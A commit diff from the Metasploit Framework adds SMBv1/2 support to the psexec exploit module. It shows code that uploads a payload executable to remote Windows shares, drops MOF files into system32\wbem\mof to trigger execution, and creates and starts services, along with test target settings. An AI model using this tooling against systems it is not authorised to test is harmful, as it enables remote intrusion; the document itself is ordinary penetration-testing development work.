Land #10185, add SMBv1/2 support in psexec
commit
85dc81a58b
|
@ -166,8 +166,8 @@ module Msf
|
|||
#the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations)
|
||||
#cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED
|
||||
#fd.chunk_size = 500 is better
|
||||
def smb_open(path, perm)
|
||||
self.simple.open(path, perm, datastore['SMB::ChunkSize'])
|
||||
def smb_open(path, perm, read: true, write: false)
|
||||
self.simple.open(path, perm, datastore['SMB::ChunkSize'], read: read, write: write)
|
||||
end
|
||||
|
||||
def smb_hostname
|
||||
|
@ -220,6 +220,8 @@ module Msf
|
|||
def smb_file_exist?(file)
|
||||
begin
|
||||
fd = simple.open(file, 'o')
|
||||
rescue RubySMB::Error::UnexpectedStatusCode => e
|
||||
found = false
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
# If attempting to open the file results in a "*_NOT_FOUND" error,
|
||||
# then we can be sure the file is not there.
|
||||
|
|
|
@ -142,54 +142,52 @@ module Exploit::Remote::SMB::Client::Psexec
|
|||
if svc_handle.nil?
|
||||
print_error("No service handle retrieved")
|
||||
return false
|
||||
else
|
||||
end
|
||||
|
||||
if service_description
|
||||
vprint_status("Changing service description...")
|
||||
svc_client.changeservicedescription(svc_handle, service_description)
|
||||
if service_description
|
||||
vprint_status("Changing service description...")
|
||||
svc_client.changeservicedescription(svc_handle, service_description)
|
||||
end
|
||||
|
||||
vprint_status("Starting the service...")
|
||||
begin
|
||||
svc_status = svc_client.startservice(svc_handle)
|
||||
case svc_status
|
||||
when ERROR_SUCCESS
|
||||
print_good("Service started successfully...")
|
||||
when ERROR_FILE_NOT_FOUND
|
||||
print_error("Service failed to start - FILE_NOT_FOUND")
|
||||
when ERROR_ACCESS_DENIED
|
||||
print_error("Service failed to start - ACCESS_DENIED")
|
||||
when ERROR_SERVICE_REQUEST_TIMEOUT
|
||||
print_good("Service start timed out, OK if running a command or non-service executable...")
|
||||
else
|
||||
print_error("Service failed to start, ERROR_CODE: #{svc_status}")
|
||||
end
|
||||
|
||||
vprint_status("Starting the service...")
|
||||
ensure
|
||||
begin
|
||||
svc_status = svc_client.startservice(svc_handle)
|
||||
case svc_status
|
||||
when ERROR_SUCCESS
|
||||
print_good("Service started successfully...")
|
||||
when ERROR_FILE_NOT_FOUND
|
||||
print_error("Service failed to start - FILE_NOT_FOUND")
|
||||
when ERROR_ACCESS_DENIED
|
||||
print_error("Service failed to start - ACCESS_DENIED")
|
||||
when ERROR_SERVICE_REQUEST_TIMEOUT
|
||||
print_good("Service start timed out, OK if running a command or non-service executable...")
|
||||
# If service already exists don't delete it!
|
||||
# Maybe we could have a force cleanup option..?
|
||||
if service_exists
|
||||
print_warning("Not removing service as it already existed...")
|
||||
elsif datastore['SERVICE_PERSIST']
|
||||
print_warning("Not removing service for persistence...")
|
||||
else
|
||||
print_error("Service failed to start, ERROR_CODE: #{svc_status}")
|
||||
vprint_status("Removing the service...")
|
||||
svc_status = svc_client.deleteservice(svc_handle)
|
||||
if svc_status == ERROR_SUCCESS
|
||||
vprint_good("Successfully removed the service")
|
||||
else
|
||||
print_error("Unable to remove the service, ERROR_CODE: #{svc_status}")
|
||||
end
|
||||
end
|
||||
ensure
|
||||
begin
|
||||
# If service already exists don't delete it!
|
||||
# Maybe we could have a force cleanup option..?
|
||||
if service_exists
|
||||
print_warning("Not removing service as it already existed...")
|
||||
elsif datastore['SERVICE_PERSIST']
|
||||
print_warning("Not removing service for persistence...")
|
||||
else
|
||||
vprint_status("Removing the service...")
|
||||
svc_status = svc_client.deleteservice(svc_handle)
|
||||
if svc_status == ERROR_SUCCESS
|
||||
vprint_good("Successfully removed the service")
|
||||
else
|
||||
print_error("Unable to remove the service, ERROR_CODE: #{svc_status}")
|
||||
end
|
||||
end
|
||||
ensure
|
||||
vprint_status("Closing service handle...")
|
||||
svc_client.closehandle(svc_handle)
|
||||
end
|
||||
vprint_status("Closing service handle...")
|
||||
svc_client.closehandle(svc_handle)
|
||||
end
|
||||
end
|
||||
|
||||
if disconnect
|
||||
sleep(1)
|
||||
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||
end
|
||||
|
||||
|
@ -272,11 +270,11 @@ module Exploit::Remote::SMB::Client::Psexec
|
|||
end
|
||||
|
||||
def native_upload(smb_share)
|
||||
filename = "#{rand_text_alpha(8)}.exe"
|
||||
filename = "#{Rex::Text.rand_text_alpha(8)}.exe"
|
||||
serviceencoder = ''
|
||||
|
||||
# Upload the shellcode to a file
|
||||
print_status("Uploading payload...")
|
||||
print_status("Uploading payload... #{filename}")
|
||||
smbshare = smb_share
|
||||
fileprefix = ""
|
||||
# if SHARE = Users/sasha/ or something like this
|
||||
|
@ -288,11 +286,11 @@ module Exploit::Remote::SMB::Client::Psexec
|
|||
smbshare = folder_list[0]
|
||||
fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct')
|
||||
fd = smb_open("#{fileprefix}\\#{filename}", 'rwct', write: true)
|
||||
else
|
||||
subfolder = false
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
fd = smb_open("\\#{filename}", 'rwct')
|
||||
fd = smb_open("#{filename}", 'rwct', write: true)
|
||||
end
|
||||
exe = ''
|
||||
opts = { :servicename => service_name, :serviceencoder => serviceencoder}
|
||||
|
@ -330,14 +328,14 @@ module Exploit::Remote::SMB::Client::Psexec
|
|||
if smb_share =~ /.[\\\/]/
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
begin
|
||||
simple.delete("\\#{fileprefix}\\#{filename}")
|
||||
simple.delete("#{fileprefix}\\#{filename}")
|
||||
rescue XCEPT::ErrorCode => e
|
||||
print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
|
||||
end
|
||||
else
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
begin
|
||||
simple.delete("\\#{filename}")
|
||||
simple.delete("#{filename}")
|
||||
rescue XCEPT::ErrorCode => e
|
||||
print_error("Delete of \\#{filename} failed: #{e.message}")
|
||||
end
|
||||
|
@ -347,7 +345,7 @@ module Exploit::Remote::SMB::Client::Psexec
|
|||
|
||||
def mof_upload(smb_share)
|
||||
share = "\\\\#{datastore['RHOST']}\\ADMIN$"
|
||||
filename = "#{rand_text_alpha(8)}.exe"
|
||||
filename = "#{Rex::Text.rand_text_alpha(8)}.exe"
|
||||
|
||||
# payload as exe
|
||||
print_status("Trying wbemexec...")
|
||||
|
@ -358,16 +356,16 @@ module Exploit::Remote::SMB::Client::Psexec
|
|||
end
|
||||
simple.connect(share)
|
||||
exe = generate_payload_exe
|
||||
fd = smb_open("\\system32\\#{filename}", 'rwct')
|
||||
fd = smb_open("\\system32\\#{filename}", 'rwct', write: true)
|
||||
fd << exe
|
||||
fd.close
|
||||
print_status("Created %SystemRoot%\\system32\\#{filename}")
|
||||
|
||||
# mof to cause execution of above
|
||||
mofname = rand_text_alphanumeric(14) + ".MOF"
|
||||
mofname = Rex::Text.rand_text_alphanumeric(14) + ".MOF"
|
||||
mof = generate_mof(mofname, filename)
|
||||
print_status("Uploading MOF...")
|
||||
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
|
||||
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct', write: true)
|
||||
fd << mof
|
||||
fd.close
|
||||
print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")
|
||||
|
|
|
@ -141,43 +141,7 @@ require 'rex/proto/smb/exceptions'
|
|||
# Are we reading from a remote pipe over SMB?
|
||||
if (self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe)
|
||||
begin
|
||||
|
||||
# Max SMB read is 65535, cap it at 64000
|
||||
max_read = [64000, max_read].min
|
||||
min_read = [64000, min_read].min
|
||||
|
||||
read_limit = nil
|
||||
|
||||
while(true)
|
||||
# Random read offsets will not work on Windows NT 4.0 (thanks Dave!)
|
||||
|
||||
read_cnt = (rand(max_read-min_read)+min_read)
|
||||
if(read_limit)
|
||||
if(read_cnt + raw_response.length > read_limit)
|
||||
read_cnt = raw_response.length - read_limit
|
||||
end
|
||||
end
|
||||
|
||||
data = self.socket.read(read_cnt, rand(1024)+1)
|
||||
break if !(data and data.length > 0)
|
||||
raw_response += data
|
||||
|
||||
# Keep reading until we have at least the DCERPC header
|
||||
next if raw_response.length < 10
|
||||
|
||||
# We now have to process the raw_response and parse out the DCERPC fragment length
|
||||
# if we have read enough data. Once we have the length value, we need to make sure
|
||||
# that we don't read beyond this amount, or it can screw up the SMB state
|
||||
if (not read_limit)
|
||||
begin
|
||||
check = Rex::Proto::DCERPC::Response.new(raw_response)
|
||||
read_limit = check.frag_len
|
||||
rescue ::Rex::Proto::DCERPC::Exceptions::InvalidPacket
|
||||
end
|
||||
end
|
||||
break if (read_limit and read_limit <= raw_response.length)
|
||||
end
|
||||
|
||||
raw_response = self.socket.read(65535, 0)
|
||||
rescue Rex::Proto::SMB::Exceptions::NoReply
|
||||
# I don't care if I didn't get a reply...
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => exception
|
||||
|
@ -306,7 +270,6 @@ require 'rex/proto/smb/exceptions'
|
|||
raise Rex::Proto::DCERPC::Exceptions::NoResponse
|
||||
end
|
||||
|
||||
|
||||
self.last_response = Rex::Proto::DCERPC::Response.new(raw_response)
|
||||
|
||||
if self.last_response.type == 3
|
||||
|
|
|
@ -214,7 +214,11 @@ attr_accessor :socket, :client, :direct, :shares, :last_share, :versions
|
|||
end
|
||||
|
||||
def delete(*args)
|
||||
self.client.delete(*args)
|
||||
if self.versions.include?(2)
|
||||
self.client.delete(args[0])
|
||||
else
|
||||
self.client.delete(*args)
|
||||
end
|
||||
end
|
||||
|
||||
def create_pipe(path, perm = 'c')
|
||||
|
|
|
@ -29,7 +29,7 @@ module Rex::Proto::SMB
|
|||
client.close(file_id, tree_id)
|
||||
end
|
||||
|
||||
def read_ruby_smb(length, offset)
|
||||
def read_ruby_smb(length, offset, depth = 0)
|
||||
if length.nil?
|
||||
max_size = client.open_files[client.last_file_id].size
|
||||
fptr = offset
|
||||
|
@ -47,7 +47,15 @@ module Rex::Proto::SMB
|
|||
fptr = data.length
|
||||
end
|
||||
else
|
||||
data = client.read(file_id, offset, length).pack('C*')
|
||||
begin
|
||||
data = client.read(file_id, offset, length).pack('C*')
|
||||
rescue RubySMB::Error::UnexpectedStatusCode => e
|
||||
if e.message == 'STATUS_PIPE_EMPTY' && depth < 2
|
||||
data = read_ruby_smb(length, offset, depth + 1)
|
||||
else
|
||||
raise e
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
data
|
||||
|
|
|
@ -88,7 +88,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def exploit
|
||||
print_status("Connecting to the server...")
|
||||
connect()
|
||||
connect(versions: [1,2])
|
||||
|
||||
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
|
||||
smb_login()
|
||||
|
|
|
@ -12,7 +12,8 @@
|
|||
"NAME": "exploit/windows/smb/psexec",
|
||||
"SETTINGS": [
|
||||
"SMBUser=vagrant",
|
||||
"SMBPass=vagrant"
|
||||
"SMBPass=vagrant",
|
||||
"TARGET=0"
|
||||
]
|
||||
}
|
||||
],
|
||||
|
@ -42,6 +43,28 @@
|
|||
},
|
||||
{
|
||||
"CPE": "cpe:/o:microsoft:windows_10:::x64"
|
||||
},
|
||||
{
|
||||
"CPE": "cpe:/o:microsoft:windows_8.1::sp1:x64"
|
||||
},
|
||||
{
|
||||
"CPE": "cpe:/o:microsoft:windows_server_2008:r2:sp1:x64"
|
||||
},
|
||||
{
|
||||
"CPE": "cpe:/o:microsoft:windows_7::sp1:x64",
|
||||
"TESTING_SNAPSHOT": "DisableSMBv1"
|
||||
},
|
||||
{
|
||||
"CPE": "cpe:/o:microsoft:windows_10:1607::x64",
|
||||
"TESTING_SNAPSHOT": "DisableSMBv1"
|
||||
},
|
||||
{
|
||||
"CPE": "cpe:/o:microsoft:windows_8.1:::x64",
|
||||
"TESTING_SNAPSHOT": "DisableSMBv1"
|
||||
},
|
||||
{
|
||||
"CPE": "cpe:/o:microsoft:windows_server_2008::r2:x64",
|
||||
"TESTING_SNAPSHOT": "DisableSMBv1"
|
||||
}
|
||||
],
|
||||
"TARGET_GLOBALS": {
|
||||
|
|
Loading…
Reference in New Issue